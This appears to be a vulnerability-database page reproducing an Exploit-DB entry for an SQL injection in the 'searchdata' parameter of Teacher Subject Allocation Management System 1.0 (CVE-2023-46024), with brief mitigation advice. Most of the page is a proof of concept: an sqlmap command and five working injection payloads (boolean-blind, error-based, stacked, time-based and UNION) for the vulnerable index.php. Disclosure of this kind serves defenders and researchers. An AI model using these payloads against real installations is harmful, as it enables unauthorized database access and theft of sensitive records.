Teacher Subject Allocation Management System 1.0 - 'searchdata' SQL Injection

vendor:

Teacher Subject Allocation Management System

by:

Ersin Erenler

6.1

CVSS

HIGH

SQL Injection

CWE

Product Name: Teacher Subject Allocation Management System

Affected Version From: 1

Affected Version To: 1

Patch Exists: NO

Related CWE: CVE-2023-46024

CPE: a:phpgurukul:teacher_subject_allocation_management_system:1.0

Metasploit:

Other Scripts:

Platforms Tested: Windows, Linux

2023

Teacher Subject Allocation Management System 1.0 – ‘searchdata’ SQL Injection

Teacher Subject Allocation Management System version 1.0 is vulnerable to SQL injection due to inadequate security measures on the 'searchdata' parameter in the index.php file. This vulnerability can be exploited by injecting malicious SQL queries, potentially allowing unauthorized access to sensitive database information.

Mitigation:

To mitigate this vulnerability, it is recommended to sanitize and validate user input to prevent SQL injection attacks. Additionally, using parameterized queries can help defend against such exploits.

Source

Exploit-DB raw data:

# Exploit Title: Teacher Subject Allocation Management System 1.0 - 'searchdata' SQLi
# Date: 2023-11-15
# Exploit Author: Ersin Erenler
# Vendor Homepage: https://phpgurukul.com/teacher-subject-allocation-system-using-php-and-mysql
# Software Link: https://phpgurukul.com/?sdm_process_download=1&download_id=17645
# Version: 1.0
# Tested on: Windows/Linux, Apache 2.4.54, PHP 8.2.0
# CVE : CVE-2023-46024

-------------------------------------------------------------------------------

# Description:

Teacher Subject Allocation Management System V1.0 is susceptible to a significant security vulnerability that arises from insufficient protection on the 'searchdata' parameter in the index.php file. This flaw can potentially be exploited to inject malicious SQL queries, leading to unauthorized access and extraction of sensitive information from the database.

Vulnerable File: /index.php

Parameter Name: searchdata

# Proof of Concept:
----------------------

Execute sqlmap using either the 'searchdata' parameter to retrieve the current database:

sqlmap -u "http://localhost/Tsas" --method POST --data "searchdata=test&search=" -p searchdata --risk 3 --level 3 --dbms mysql --batch --current-db

SQLMap Response:
----------------------
---
Parameter: searchdata (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: searchdata=test%' AND 3912=3912 AND 'qxHV%'='qxHV&search=

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: searchdata=test%' AND (SELECT 1043 FROM(SELECT COUNT(*),CONCAT(0x7170706a71,(SELECT (ELT(1043=1043,1))),0x717a787171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'kewe%'='kewe&search=

    Type: stacked queries
    Title: MySQL >= 5.0.12 stacked queries (comment)
    Payload: searchdata=test%';SELECT SLEEP(5)#&search=

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: searchdata=test%' AND (SELECT 8862 FROM (SELECT(SLEEP(5)))GqzT) AND 'wylU%'='wylU&search=

    Type: UNION query
    Title: Generic UNION query (NULL) - 15 columns
    Payload: searchdata=test%' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7170706a71,0x784e7a47626a794a74456975444c5a4c64734556414658476e75684c4a716f6173724b6b6a685163,0x717a787171)-- -&search=
---